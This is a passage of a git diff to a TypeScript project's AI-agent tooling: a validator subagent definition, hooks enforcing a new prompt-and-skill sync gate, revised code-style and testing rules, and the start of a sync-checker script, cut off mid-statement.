Use proactively after any logic change and before reporting work complete. tools: Bash, Read, Edit, Write, Grep, Glob background: false color: green @@ -10,19 +10,20 @@ You run this repository's quality gates and return a verdict. A full run emits v ## Gates -Run `npm run validate`, which chains all seven gates, and capture the exit code with `echo "EXIT: $?"`. Do not judge it by reading its output. +Run `npm run validate`, which chains all eight gates, and capture the exit code with `echo "EXIT: $?"`. Do not judge it by reading its output. If it fails partway, run the remaining gates individually so every one is exercised before you report: 1. `npm run prettier` -2. `npm run eslint` -3. `npm run tsc` -4. `npm run test:jest` -5. `npm run test:cypress:e2e` -6. `npm run build` -7. `npm run lint:markdown` +2. `npm run check:prompt-sync` +3. `npm run eslint` +4. `npm run tsc` +5. `npm run test:jest` +6. `npm run test:cypress:e2e` +7. `npm run build` +8. `npm run lint:markdown` -The chain is `&&`, so a failure at position 5 means `build` and `lint:markdown` never ran. Never treat those as passed. +The chain is `&&`, so a failure at position 6 means `build` and `lint:markdown` never ran. Never treat those as passed. If `test:cypress:e2e` fails, quote the actual error. Treat it as an environment limit only when the Cypress **binary fails to launch**, an Electron or window-server error raised before any spec runs, since Cypress needs a GUI session a headless agent shell may not have. A failing assertion inside a spec is a real failure. Either way, report which gates actually ran (see [`code-qa.yaml`](../../.github/workflows/code-qa.yaml) for what CI covers). @@ -34,9 +35,10 @@ Two ordering notes. `npm run prettier` and `npm run eslint` both write; run Pret Fix the cause, not the symptom. Specifically: -- Never weaken, skip, or delete a test to make a gate pass. Read the test, read the source, find the cause. See [`testing.md`](../rules/testing.md). +- Never weaken, skip, or delete a test to make a gate pass. Read the test, read the source, find the cause. See [`typescript-code-and-test-standards`](../skills/typescript-code-and-test-standards/SKILL.md) for the rule and [`testing.md`](../rules/testing.md) for this repository's specifics. - Never add a fallback in production code to satisfy a failing test. - Never silence a type error with `any`, `unknown`, `@ts-ignore`, or an `eslint-disable`. Replace it with a concrete type. See [`code-style.md`](../rules/code-style.md). +- `check:prompt-sync` fails when a prompt and its mirrored skill differ. Fix it with `node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-skill` (or `--fix=to-prompt`), never by hand-copying, and never by guessing the direction: ask if it is unclear which half was edited. - Re-run the failing gate after each fix, then re-run the gates that precede it if your fix touched files they check. If a failure is pre-existing and unrelated to the change under test, fix it anyway when it is small, and report it plainly when it is not. Do not present it as passing. diff --git a/.claude/hooks/prompt-skill-sync.mts b/.claude/hooks/prompt-skill-sync.mts new file mode 100644 index 00000000..18733ac8 --- /dev/null +++ b/.claude/hooks/prompt-skill-sync.mts @@ -0,0 +1,92 @@ +#!/usr/bin/env node +// PostToolUse hook (Write / Edit / MultiEdit). When one half of a prompt-and-skill +// pair is edited, names the counterpart that now needs the same edit. +// +// Run via `node --experimental-strip-types` (no build step, no dependencies). +// The path-scoped rule `.claude/rules/prompt-skill-sync.md` is the primary carrier +// of this obligation; this hook is the guaranteed, deterministic backstop, and +// `.claude/scripts/check-prompt-skill-sync.mjs` is the gate `npm run validate` runs locally. +// +// Type-stripping-safe TypeScript only: type annotations / interfaces, no enums, +// namespaces, or parameter properties. + +import { existsSync, readFileSync } from 'fs'; +import { join, resolve } from 'path'; + +interface ToolInput { + file_path?: string; +} + +interface HookPayload { + tool_name?: string; + tool_input?: ToolInput; +} + +/** + * Returns the counterpart path for either half of a pair, or null for any other file. + * + * The skill side is scoped to `audit-*` so that an unmirrored skill, such as + * `typescript-code-and-test-standards`, does not get told its counterpart is a prompt + * that was never written. This matches the `paths:` glob in the accompanying rule. + */ +function counterpartOf(filePath: string): string | null { + // Resolved from this file's own location, as `check-prompt-skill-sync.mjs` does, so the + // existence test does not silently fail when the hook runs from another directory. + const repoRoot = resolve(import.meta.dirname, '..', '..'); + + const promptMatch = /\.github\/prompts\/([^/]+)\.prompt\.md$/.exec(filePath); + if (promptMatch) { + const counterpart = `.claude/skills/${promptMatch[1]}/SKILL.md`; + + // A prompt with no skill yet is not half of a pair, and the checker skips it too. + return existsSync(join(repoRoot, counterpart)) ? counterpart : null; + } + + const skillMatch = /\.claude\/skills\/(audit-[^/]+)\/SKILL\.md$/.exec(filePath); + if (skillMatch) { + return `.github/prompts/${skillMatch[1]}.prompt.md`; + } + + return null; +} + +function main(): void { + let payload: HookPayload; + try { + payload = JSON.parse(readFileSync(0, 'utf-8')) as HookPayload; + } catch { + process.exit(0); + } + + const toolName = payload.tool_name ?? ''; + if (toolName !== 'Write' && toolName !== 'Edit' && toolName !== 'MultiEdit') { + process.exit(0); + } + + const filePath = payload.tool_input?.file_path ?? ''; + const counterpart = counterpartOf(filePath); + if (!counterpart) { + process.exit(0); + } + + const editedPrompt = filePath.includes('/.github/prompts/'); + const direction = editedPrompt ? '--fix=to-skill' : '--fix=to-prompt'; + + process.stdout.write( + JSON.stringify({ + hookSpecificOutput: { + hookEventName: 'PostToolUse', + additionalContext: + `This file is one half of a mirrored pair. Its counterpart \`${counterpart}\` carries a ` + + 'byte-identical body below the frontmatter, and `npm run validate` fails while the two differ. ' + + `Mirror the edit before finishing: \`node .claude/scripts/check-prompt-skill-sync.mjs ${direction}\`, ` + + 'or run the `/sync-audit-prompts` skill. Only the frontmatter may differ between them, and the ' + + 'shared body must stay self-contained: no relative links and no reference to a sibling prompt, ' + + 'because each half is copied into other repositories on its own.', + }, + }), + ); + process.exit(0); +} + +main(); diff --git a/.claude/hooks/validate-gate.mts b/.claude/hooks/validate-gate.mts index 8253970c..d4205e9c 100644 --- a/.claude/hooks/validate-gate.mts +++ b/.claude/hooks/validate-gate.mts @@ -39,12 +39,14 @@ interface GateState { } /** Every gate `npm run validate` runs that can also run on a developer machine. */ -const GATES = ['prettier', 'eslint', 'tsc', 'jest', 'build', 'markdown']; +const GATES = ['prettier', 'prompt-sync', 'eslint', 'tsc', 'jest', 'build', 'markdown']; /** Maps a shell command to the gates it runs. */ const GATE_PATTERNS: [RegExp, string[]][] = [ [/npm run validate\b/, GATES], [/npm run prettier\b/, ['prettier']], + [/npm run check:prompt-sync\b/, ['prompt-sync']], + [/check-prompt-skill-sync\.mjs/, ['prompt-sync']], [/npm run eslint\b/, ['eslint']], [/npm run tsc(?![:\w])/, ['tsc']], [/npm run test:jest\b/, ['jest']], @@ -54,8 +56,9 @@ const GATE_PATTERNS: [RegExp, string[]][] = [ const REMINDER = 'This change requires validation. Before you finish, run the quality gates and confirm ' + - 'each reaches exit code 0: `npm run prettier`, `npm run eslint`, `npm run tsc`, ' + - '`npm run test:jest`, `npm run build`, `npm run lint:markdown`. Check the actual exit ' + + 'each reaches exit code 0: `npm run prettier`, `npm run check:prompt-sync`, ' + + '`npm run eslint`, `npm run tsc`, `npm run test:jest`, `npm run build`, ' + + '`npm run lint:markdown`. Check the actual exit ' + 'code rather than scrolling the output, and fix any failure rather than reporting around ' + 'it. Delegating the run to the `validator` subagent keeps the output out of this context.'; @@ -95,16 +98,25 @@ function clearState(sessionId: string): void { /** * Whether editing this file should require validation. * - * Markdown counts because `lint:markdown` is one of the gates. The agent-tooling tree is - * excluded: `.claude/` is ignored by Prettier, ESLint, and markdownlint alike, so no gate - * can fail because of it. + * Markdown counts because `lint:markdown` is one of the gates. Most of the agent-tooling + * tree is excluded because ESLint and markdownlint both skip everything under `.claude`, + * so no gate can fail because of it. + * + * The mirrored `SKILL.md` files are the exception, and they are why this is not a blanket + * rule: `.prettierignore` re-includes them, and `check:prompt-sync` compares them against + * their prompt halves. Editing one can fail two gates, so it has to mark the session dirty + * the way editing the prompt half already does. */ function requiresValidation(filePath: string, cwd: string): boolean { if (!filePath) return false; const rel = isAbsolute(filePath) ? relative(cwd, filePath) : filePath; - if (rel.startsWith('..') || rel.startsWith('.claude/') || rel.includes('/.claude/')) return false; + if (rel.startsWith('..')) return false; + + if (/^\.claude\/skills\/audit-[^/]+\/SKILL\.md$/.test(rel)) return true; + + if (rel.startsWith('.claude/') || rel.includes('/.claude/')) return false; if (rel.startsWith('src/') || rel.startsWith('cypress/') || rel.startsWith('jest/')) return true; @@ -172,15 +184,16 @@ function handleStop(payload: HookPayload, sessionId: string): void { } // `stop_hook_active` means this hook already blocked this turn. Releasing keeps a gate - // that cannot be satisfied (Cypress will not launch on macOS here) from looping. + // that cannot be satisfied in the current environment from looping. if (payload.stop_hook_active) process.exit(0); process.stderr.write( `This session changed code, tests, config, or docs, and ${missing.length} of ${GATES.length} ` + `quality gates have not been run: ${missing.join(', ')}. Run \`npm run validate\` and confirm ` + 'it reaches exit code 0 before finishing. The chain is `&&`, so if it stops partway, the gates ' + - 'after the failure did not run: finish them individually (`npm run prettier`, `npm run eslint`, ' + - '`npm run tsc`, `npm run test:jest`, `npm run build`, `npm run lint:markdown`) rather than ' + + 'after the failure did not run: finish them individually (`npm run prettier`, ' + + '`npm run check:prompt-sync`, `npm run eslint`, `npm run tsc`, `npm run test:jest`, ' + + '`npm run build`, `npm run lint:markdown`) rather than ' + 'treating them as passed.', ); process.exit(2); diff --git a/.claude/rules/code-style.md b/.claude/rules/code-style.md index 54683265..9992f7ee 100644 --- a/.claude/rules/code-style.md +++ b/.claude/rules/code-style.md @@ -2,87 +2,52 @@ paths: - "**/*.ts" - "**/*.tsx" + - "**/*.mts" + - "**/*.cts" --- # Code style -These rules mirror [`.github/copilot-instructions.md`](../../.github/copilot-instructions.md) (the Copilot-side source); keep both in sync. Enforced in CI by `npm run prettier:check`, `npm run eslint:check`, and `npm run tsc`. Testing rules live in [`testing.md`](testing.md); every change ends with `npm run validate` at exit code 0, per [`CLAUDE.md`](../../CLAUDE.md). +**Read [`typescript-code-and-test-standards`](../skills/typescript-code-and-test-standards/SKILL.md) before editing any TypeScript file here.** It carries the comment, JSDoc, readability, and Google style guide rules this file does not repeat, and it detects this repository's Prettier, ESLint, and TypeScript configuration rather than assuming one. -## Formatting - -- **Tabs, not spaces** for indentation, enforced by Prettier (`useTabs`, `tabWidth` 4 in [`.prettierrc`](../../.prettierrc)). -- Semicolons required; single quotes including JSX (`jsxSingleQuote`); `printWidth` 120; trailing commas everywhere. -- Imports are sorted automatically by `@trivago/prettier-plugin-sort-imports` - don't hand-order them. -- Prefix intentionally-unused variables/args with `_` (e.g. `_event`), which `no-unused-vars` ignores. This is a deliberate departure from the Google guide, which bans `_` on identifiers. -- ESLint applies **one rule set to every file**, JavaScript and TypeScript alike, parsed by `@typescript-eslint/parser` (see [`eslint.config.js`](../../eslint.config.js)). +This file carries only what is specific to this repository. The same rules are duplicated in full in [`.github/copilot-instructions.md`](../../.github/copilot-instructions.md), which the automated reviews read, so keep both in sync. Testing rules live in [`testing.md`](testing.md); every change ends with `npm run validate` at exit code 0, per [`CLAUDE.md`](../../CLAUDE.md). ## Imports - **Always use path aliases, never relative paths.** Aliases are defined in [`tsconfig.json`](../../tsconfig.json) and mirrored in [`jest.config.js`](../../jest.config.js): `@/`, `@components/`, `@configs/`, `@constants/`, `@data/`, `@helpers/`, `@images/`, `@layouts/`, `@styles/`, `@util/`. - Example: `import Avatar from '@components/banner/Avatar';` - not `'../banner/Avatar'`. Tests importing their own subject are the one exception; see [`testing.md`](testing.md). -- Import Node built-in modules with the **bare specifier** (`import { readFileSync } from 'fs'`), never the `node:` prefix (`'node:fs'`). Matches the existing convention - e.g. `require('util')` in [`jest/setup.ts`](../../jest/setup.ts). +- Import Node built-in modules with the **bare specifier** (`import { readFileSync } from 'fs'`), never the `node:` prefix. Matches the existing convention, for example `require('util')` in [`jest/setup.ts`](../../jest/setup.ts). - Use `import type { Foo }` when a symbol is used only as a type, and `export type { Foo }` when re-exporting one. [`tsconfig.json`](../../tsconfig.json) sets `isolatedModules`, which requires the latter. -- Export style follows the kind of module. Components, layouts, App Router route files such as [`page.tsx`](../../src/app/page.tsx), the data modules such as [`projects.ts`](../../src/data/projects.ts), and [`theme.ts`](../../src/styles/theme.ts) default-export their subject. Configs, constants, helpers, utilities, instrumentation, and the SVG components in [`icons.tsx`](../../src/images/icons.tsx) use named exports. One module can carry both: [`layout.tsx`](../../src/app/layout.tsx) default-exports `RootLayout` beside named `metadata` and `viewport`. Never `export let`. -## Components & styling +## Exports + +Export style follows the kind of module. Components, layouts, App Router route files such as [`page.tsx`](../../src/app/page.tsx), the data modules such as [`projects.ts`](../../src/data/projects.ts), and [`theme.ts`](../../src/styles/theme.ts) default-export their subject. Configs, constants, helpers, utilities, instrumentation, and the SVG components in [`icons.tsx`](../../src/images/icons.tsx) use named exports. One module can carry both: [`layout.tsx`](../../src/app/layout.tsx) default-exports `RootLayout` beside named `metadata` and `viewport`. Never `export let`. +## Components and styling + +- Style with Material-UI `sx` only. - Import SVGs as React components via `@svgr/webpack` (see [`src/images/icons.tsx`](../../src/images/icons.tsx)). - Components are **Server Components by default**; add `'use client'` only when the component needs hooks, event handlers, or browser APIs. -- Every component has a colocated `.test.tsx` (see [`src/components/banner/Banner.test.tsx`](../../src/components/banner/Banner.test.tsx)). +- Every component has a colocated `.test.tsx` (see [`Banner.test.tsx`](../../src/components/banner/Banner.test.tsx)). ## TypeScript - Strict mode is on; types must be explicit (no implicit `any`). - Do **not** "fix" an existing `any` by swapping it to `unknown` or adding an `eslint-disable` - replace it with a specific concrete type, and respect an `any` that is intentional. +- No `@ts-ignore` or `@ts-nocheck`. `@ts-expect-error` is permitted in tests only, with a comment. -### Google style guide +## Google style guide carve-outs -Follow the [Google TypeScript Style Guide](https://google.github.io/styleguide/tsguide.html) except where this file or the framework overrides it. The rules below are the ones Prettier and ESLint do not already cover; the `/google-ts-style` skill holds the fuller digest for a deliberate style pass. +Four rules from the [Google TypeScript Style Guide](https://google.github.io/styleguide/tsguide.html) digest in the skill do **not** apply here. Do not "fix" code to match them. -- `UpperCamelCase` for types and components, `lowerCamelCase` for values, `CONSTANT_CASE` for module-level constants and enum values. -- Treat acronyms as words: `loadHttpUrl`, not `loadHTTPURL`. -- `===` and `!==` always, except `== null` when both `null` and `undefined` should match. -- Annotate object literals (`const config: Foo = { ... }`) rather than asserting them (`{ ... } as Foo`). The assertion suppresses excess-property checking. -- `as` and `!` are unsafe. Prefer a runtime check, and say why in a comment when one is not possible. Use `as`, never the angle-bracket form. -- No `@ts-ignore` or `@ts-nocheck`. `@ts-expect-error` is permitted in tests only, with a comment. -- `interface` for object shapes, not a `type` alias of an object literal. -- Optional properties and parameters (`href?: string`) rather than `href: string | undefined`. Add nullability at the use site, not inside a type alias. -- `T[]` for simple element types, `Array` for complex ones. Never `String`, `Number`, or `Boolean` as types. -- Throw only `Error` or a subclass, always via `new Error(...)`. An empty `catch` needs a comment saying why. -- Prefer `for...of`; never unfiltered `for...in`. - -Not adopted from the guide: `snake_case` filenames (this repo uses kebab-case directories with PascalCase components), the ban on `_` identifier prefixes (unused arguments require it here), and any expectation of mandatory return-type annotations (the guide leaves that to the author). - -## Readability - -Prefer the readable form wherever it costs nothing at runtime. - -- Braced blocks for anything that is not a single-line early exit. `if (!data) return;` may stay unbraced on one line, as may `break`, `continue`, and `throw`. Everything else takes `{ }`, including a single-statement body that spans lines. `curly` enforces this. -- A blank line before `return`, `break`, `continue`, and `throw` when it is not the first statement in its block. `padding-line-between-statements` enforces this for `return`, `continue`, and `throw`; `break` is written discipline, because the rule cannot tell a loop `break` from a `switch` `break`. -- No blank lines between `switch` cases. -- Separate groups that do different work with a blank line: setup, action, assertion; or fetch, transform, render. -- JSX props sorted alphabetically, or grouped by purpose (identity, data, behaviour, styling). Choose one per component and do not mix the two. - -`npm run validate` runs Prettier before ESLint, and the `curly` fix inserts braces inline. After any ESLint fix sweep, run `npm run prettier` again and finish with `npm run prettier:check`, which is what CI runs. - -## Comments - -- **Comments describe the code as it stands.** Never narrate a change, a fix, or a prior state ("now uses", "changed to", "previously", "no longer", "restored"). Git history and pull requests carry that, and the comment outlives the change that prompted it. -- **Never argue that the code is correct or safe.** A note defending a decision, such as "`createStars` is declared below and is already initialized by the time this callback runs", documents the edit rather than the code. Say what something does or why it exists; do not justify that it works. -- A comment that contradicts the code is corrected, not deleted. When the two disagree, the code is the truth. -- Delete commented-out code rather than leaving it in place. -- Redundancy is not a defect on a public surface, but inside a function body a comment that restates the line beneath it is noise. Delete those; keep anything carrying a constraint, hazard, or non-obvious behaviour. -- Compiler and tooling directives are never comments to delete: `//@ts-check`, `/// `, `// @ts-expect-error`, and `eslint-disable` lines. - -## JSDoc - -- **Every exported symbol carries a [JSDoc](https://jsdoc.app/) `/** */` block, without exception**, and so do the members of an exported structure: interface properties, object keys, enum values. Write for a reader meeting it for the first time. Reach for what the signature cannot express (why it exists, a constraint, an invariant, a caller obligation); where nothing better exists, a plain restatement is correct. Being obvious is not a defect on a public surface; being absent is. -- A private helper gets a block when its behaviour is not evident from its name and signature. A binding declared inside a function body does not: the name and type already carry it. -- **In a block you are writing, do not put types in JSDoc.** TypeScript ignores `@param {string}`, `@returns {number}`, `@type`, and `@typedef` in `.ts`/`.tsx` files, so they become prose that drifts from the signature. Skip `@implements`, `@enum`, `@private`, and `@override` beside the corresponding keyword too, and add `@param`/`@returns` lines where they say more than the name and type already do. -- **Leave existing tags alone unless they are wrong.** A `@param` or `@returns` already in the tree was added deliberately, annotation and all. Read the surrounding code, correct what is factually wrong, and change nothing else: do not strip a `{type}` annotation, reword accurate prose, or delete a tag for looking redundant. Delete one only when it is wrong and uncorrectable, such as documenting a parameter the signature no longer has. -- `@throws`, `@example`, `@deprecated`, and `@see` are encouraged: none of them are expressible in the type system. `@deprecated` names its replacement. -- Open a function or component block with a third-person verb phrase ("Returns the parsed config"), not an imperative. -- One tag per line, tag at line start. A block stays on one line until it overflows, at which point `/**` and `*/` move to their own lines. Bodies are Markdown, so an enumeration needs a real list rather than indented text. -- **No Markdown link syntax in JSDoc.** `[text](url)` is Markdown's, not JSDoc's, and `[name](#anchor)` is worse still: there is no document to anchor into, so it renders as dead text. JSDoc has its own forms, so use them. Reference a symbol with `{@link SvgIconProps}`, which TypeScript resolves through its symbol table into working hover and Go to Definition. Point at an external page with `@see https://example.com`, or inline it as `{@link https://example.com Display text}`. -- `//` line comments for implementation notes; a multi-line note uses consecutive `//` lines. No `/* */` block inside a function body, with one exception: naming an argument at a call site, `someFunction(/* shouldRender= */ true)`. +- **Default exports.** Google bans them; this repository uses them for the module kinds listed under Exports above. +- **Filenames.** Google specifies `snake_case`; this repository uses kebab-case directories with PascalCase component files ([`cookie-snackbar/CookieSnackbar.tsx`](../../src/components/cookie-snackbar/CookieSnackbar.tsx)). +- **Underscore prefixes.** Google bans `_` on identifiers. Here they are required on intentionally unused bindings, because [`eslint.config.js`](../../eslint.config.js) sets `no-unused-vars` with `argsIgnorePattern: '^_'` and `varsIgnorePattern: '^_'`. +- **Return-type annotations.** Optional, as Google leaves them. Add one where a complex return benefits. + +## Toolchain + +- Prettier owns formatting: tabs at width 4, semicolons, single quotes including JSX, `printWidth` 120, trailing commas everywhere, and import order via `@trivago/prettier-plugin-sort-imports`. Settings live in [`.prettierrc`](../../.prettierrc). Do not hand-adjust any of it. +- ESLint applies **one rule set to every file**, JavaScript and TypeScript alike, parsed by `@typescript-eslint/parser` (see [`eslint.config.js`](../../eslint.config.js)). +- `npm run validate` runs Prettier before ESLint, and the `curly` fix inserts braces inline. After any ESLint fix sweep, run `npm run prettier` again and finish with `npm run prettier:check`, which is what CI runs. diff --git a/.claude/rules/prompt-skill-sync.md b/.claude/rules/prompt-skill-sync.md new file mode 100644 index 00000000..edac6e50 --- /dev/null +++ b/.claude/rules/prompt-skill-sync.md @@ -0,0 +1,47 @@ +--- +paths: + - ".github/prompts/*.prompt.md" + - ".claude/skills/audit-*/SKILL.md" +--- + +# Prompt and skill mirroring + +Each audit prompt ships twice, and the two copies carry a **byte-identical body below the frontmatter**: + +| Prompt, for GitHub Copilot | Skill, for Claude Code and other agents | +| --- | --- | +| [`audit-docs.prompt.md`](../../.github/prompts/audit-docs.prompt.md) | [`audit-docs/SKILL.md`](../skills/audit-docs/SKILL.md) | +| [`audit-pr.prompt.md`](../../.github/prompts/audit-pr.prompt.md) | [`audit-pr/SKILL.md`](../skills/audit-pr/SKILL.md) | +| [`audit-quality.prompt.md`](../../.github/prompts/audit-quality.prompt.md) | [`audit-quality/SKILL.md`](../skills/audit-quality/SKILL.md) | + +Only the frontmatter differs: the prompt carries Copilot's keys (`description`, `name`, `argument-hint`, `agent`), the skill carries the Agent Skills keys (`name`, `description`, `argument-hint`). + +**Frontmatter is deliberately never synced, so it drifts silently.** The checker compares bodies only, because the two halves need different keys. A change to what a `description` or `argument-hint` claims must therefore be made on **both** halves by hand. This matters most for a claim about behaviour: the skill's `description` is loaded at startup and drives automatic invocation, so a stale one pushes against the body it introduces. + +## Edit one, mirror the other before finishing + +Run the propagation in the direction you edited, then confirm: + +```bash +node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-skill # you edited the prompt +node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-prompt # you edited the skill +node .claude/scripts/check-prompt-skill-sync.mjs # confirm, exits 0 when in sync +``` + +The direction is never inferred, because guessing it would overwrite the side you just edited. `npm run validate` runs the check and fails while any pair differs. + +## The shared body must stay self-contained + +Both halves are copied into other people's repositories on their own: personal and open-source adopters install the skill, and corporate adopters who cannot clone copy the single prompt file. Neither can reach anything this repository has. + +So the shared body must never contain: + +- **A relative link.** A copied file resolves none of them, and `./audit-pr.prompt.md` does not resolve from a skill directory anyway. Use a code span for a file reference, which the documentation rules already permit where no particular file is meant. +- **A reference to a sibling prompt.** A reader may hold only one of the three. Each body describes its own job and nothing else. +- **Anything specific to this repository:** a command from `package.json`, a path from `src/`, or a convention only this project follows. + +Repository-specific procedure belongs in [`CLAUDE.md`](../../CLAUDE.md) or a rules file, never in a mirrored body. + +## Adding a new pair + +The checker pairs files by name automatically: `.github/prompts/.prompt.md` with `.claude/skills//SKILL.md`. Create the skill with its frontmatter and any placeholder body, then run `--fix=to-skill`. A prompt with no matching skill directory is skipped rather than reported, so the pair only starts being enforced once both halves exist. diff --git a/.claude/rules/testing.md b/.claude/rules/testing.md index ef8829ea..d715ca6d 100644 --- a/.claude/rules/testing.md +++ b/.claude/rules/testing.md @@ -10,89 +10,33 @@ paths: # Testing -Jest with [`@testing-library/react`](https://testing-library.com/docs/react-testing-library/intro) covers units; Cypress with `cypress-axe` covers end-to-end and accessibility. Style rules that are not test-specific live in [`code-style.md`](code-style.md). +**Read [`typescript-code-and-test-standards`](../skills/typescript-code-and-test-standards/SKILL.md) before writing or repairing a test here.** It carries the test mandate, the one-file-per-source rule, the prohibitions, naming, table-driven discipline, and the full mocking policy this file does not repeat. -## Test mandate +Jest with [`@testing-library/react`](https://testing-library.com/docs/react-testing-library/intro) covers units; Cypress with `cypress-axe` covers end-to-end and accessibility. Style rules that are not test-specific live in [`code-style.md`](code-style.md). Every change ends with `npm run validate` at exit code 0, per [`CLAUDE.md`](../../CLAUDE.md). -- **Logic changes, bug fixes, and new features land with their tests in the same change.** The test asserts the specific behaviour the change introduces or repairs, so it locks the change against regression. -- **Pure refactors, renames, and file moves need no new tests, but every existing test must still pass.** A diff that skips or weakens a test is a behaviour change, not a refactor. -- Run `npm run validate` before reporting any change complete. See [`CLAUDE.md`](../../CLAUDE.md). +This file carries only this repository's instances of the skill's rules. -## One test file per source file +## Mock boundaries in this repository -Colocated, same name: [`Banner.tsx`](../../src/components/banner/Banner.tsx) gives [`Banner.test.tsx`](../../src/components/banner/Banner.test.tsx). No orphan test file without a same-named source beside it, no test file named after a function (`useProjectHover.test.ts` for a hook that lives in another file), and no second test file for one source. - -Exempt from the rule: static data modules such as [`projects.ts`](../../src/data/projects.ts), type-only modules, metadata route exports ([`manifest.ts`](../../src/app/manifest.ts), [`robots.ts`](../../src/app/robots.ts)), and instrumentation entry points. Components are **not** exempt. - -## Never - -- Skip, gut, or delete a failing test. Read the test, read the source, find the cause, fix it, confirm it passes with real assertions. -- Use `it.skip`, `describe.skip`, or `test.skip`. Remove a skipped test rather than leaving it. -- Write no-op assertions (`expect(true).toBe(true)`), assertions that restate the implementation, or type assertions of already-typed values (`expect(typeof name).toBe('string')` where `name: string`). -- Build a one-row `it.each` table. Make it a plain `it()`. -- Add a fallback in production code (`?? defaultValue`) to make a test pass. Fix the test. - -Every test answers one question: what behaviour does this lock in that a real future change could break? If the answer is nothing, delete it. - -## Mocking - -**The default is not to mock.** A mock is a claim about how a dependency behaves, written by the person whose code is under test, and it keeps passing after the real dependency changes. Every one you add subtracts from what the test proves. A test whose collaborators are all mocked asserts only that mocks were called. - -This applies to every substitution technique, not just `jest.mock`: stubs, fakes, spies that replace behaviour, hand-written doubles, and monkey-patching a module's export. - -**Reach for a mock only when the real thing cannot run in the test.** Exhaust these first, in order: - -1. Use the real implementation with real inputs. Most helpers, utilities, hooks, and components run fine in jsdom. -2. Pass a value in rather than replacing a module. A function that takes its dependency as an argument needs no mock. -3. Build a real object or fixture and assert on the real output. -4. Move the assertion to a level where the seam is real, or cover it in Cypress instead. - -**Never mock code that holds logic**, whoever wrote it. Helpers, utilities, domain logic, components, hooks, constants, and the modules in [`src/data/`](../../src/data/projects.ts) are exercised for real. Never mock the subject under test, in whole or in part: a partial mock of the module you are testing means the test no longer tests it. - -**Mock only at an input/output boundary**, and only the outermost one the test needs. The permitted boundaries are closed, and each is here because the real thing cannot run in jsdom: +The permitted boundaries are closed. Each is here because the real thing cannot run in jsdom. | Boundary | What that means here | | --- | --- | | A third-party SDK that reaches the network | `firebase/app`, `firebase/analytics`, and `firebase/performance`, mocked in [`firebase.test.ts`](../../src/configs/firebase.test.ts) because the wrapper under test sits directly on them | -| This repo's own wrapper around such an SDK, when testing a consumer of it | [`@configs/firebase`](../../src/configs/firebase.ts) from a component test, so rendering does not fire live analytics | +| This repository's own wrapper around such an SDK, when testing a consumer of it | [`@configs/firebase`](../../src/configs/firebase.ts) from a component test, so rendering does not fire live analytics | | Framework context the test renderer cannot supply | `next/navigation` | | The clock | `jest.useFakeTimers()`, which replaces the environment rather than your code | | Browser APIs jsdom omits | `navigator` and similar | -A wrapper qualifies only because its whole job is to reach the outside world. That is the narrow exception to the rule above, not a licence to mock a repo module that computes something. - -Anything outside that table needs a one-line comment above the mock naming which boundary it crosses. If you cannot write that sentence, the mock is not justified: use the real thing. - -**Never mock to make a failing test pass.** A mock introduced while chasing a red test is hiding the failure, not fixing it. +Anything outside that table needs a one-line comment above the mock naming which boundary it crosses. Retrieve mock state with `jest.requireMock('@configs/firebase').logAnalyticsEvent` or `usePathname as jest.MockedFunction`, never with `require()`. `next/image` is left unmocked, and is the pattern to follow. It rewrites `src` through its loader, so the test asserts with `expect.stringContaining('profile_pic_drawn.webp')` rather than mocking the component to get an exact path. -## Naming - -`describe('')` names the component or module; `it('')` names the behaviour: - -```tsx -describe('ProjectsGrid', () => { - it('logs analytics on project hover and click', () => {}); -}); -``` - -New titles do not start with "should". Titles already written that way are grandfathered; do not rewrite them in an unrelated change. A second sibling `describe` separates a distinct concern (`describe('ProjectsGrid responsive columns')`). - -## Table-driven tests - -Use `it.each` when rows vary input and expected output across the **same** code path, as [`ProjectsGrid.test.tsx`](../../src/components/projects/ProjectsGrid.test.tsx) does for breakpoints: - -```tsx -it.each([ - { breakpoint: 'sm', expectedColumns: 2, minWidth: '600px' }, - { breakpoint: 'md', expectedColumns: 3, minWidth: '900px' }, -] as const)('renders $expectedColumns columns from $minWidth ($breakpoint)', ({ expectedColumns, minWidth }) => {}); -``` +## Test file exemptions -Name every field; no positional rows. Rows that differ in the assertion body rather than the data belong in separate `it()` blocks, because a table whose rows each run different code is a noisier loop. +Exempt from needing a colocated test: static data modules such as [`projects.ts`](../../src/data/projects.ts), type-only modules, metadata route exports ([`manifest.ts`](../../src/app/manifest.ts), [`robots.ts`](../../src/app/robots.ts)), and instrumentation entry points. Components are **not** exempt. ## House patterns @@ -113,4 +57,4 @@ Specs live in [`cypress/e2e/`](../../cypress/e2e/landing.cy.ts). Every `describe - One case: `npx jest -t 'partial title'` - `npm run test:jest` carries `--passWithNoTests`, so a green run alone does not prove any test executed. Confirm the reported test count. - End to end: `npm run test:cypress:e2e` runs headless against a dev server; `npm run test:cypress:open` opens the runner. CI runs the headless form, see [`code-qa.yaml`](../../.github/workflows/code-qa.yaml). -- If `test:cypress:e2e` fails, quote the actual error. Treat it as an environment limit only when the Cypress **binary fails to launch**, an Electron or window-server error raised before any spec runs, since Cypress needs a GUI session that a headless agent shell may not have. A failing assertion inside a spec is a real failure and is never environmental. +- If `test:cypress:e2e` fails, quote the actual error. Treat it as an environment limit only when the Cypress **binary fails to launch**, an Electron or window-server error raised before any spec runs. A failing assertion inside a spec is a real failure and is never environmental. diff --git a/.claude/scripts/check-prompt-skill-sync.mjs b/.claude/scripts/check-prompt-skill-sync.mjs new file mode 100644 index 00000000..abcf8461 --- /dev/null +++ b/.claude/scripts/check-prompt-skill-sync.mjs @@ -0,0 +1,122 @@ +#!/usr/bin/env node +// Checks that each `.github/prompts/.prompt.md` and its mirror +// `.claude/skills//SKILL.md` carry a byte-identical body below the +// frontmatter. Only the frontmatter differs: the prompt carries Copilot's +// keys, the skill carries the Agent Skills keys. +// +// Run with no arguments to check. Reports every divergent pair, then exits 1 if any diverged. +// `--fix=to-skill` copies each prompt body onto its skill, keeping the +// skill's own frontmatter. `--fix=to-prompt` does the reverse. The direction +// is never inferred, because guessing it would overwrite the edited side. + +import { readdirSync, readFileSync, writeFileSync, existsSync } from 'fs'; +import { dirname, join, resolve } from 'path'; +import { fileURLToPath } from 'url'; + +const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), '..', '..'); +const PROMPT_DIR = join(REPO_ROOT, '.github', 'prompts'); +const SKILL_DIR = join(REPO_ROOT, '.claude', 'skills'); + +/** Splits a Markdown file into its frontmatter block and the body beneath it. */ +function split(text, path) { + const match = 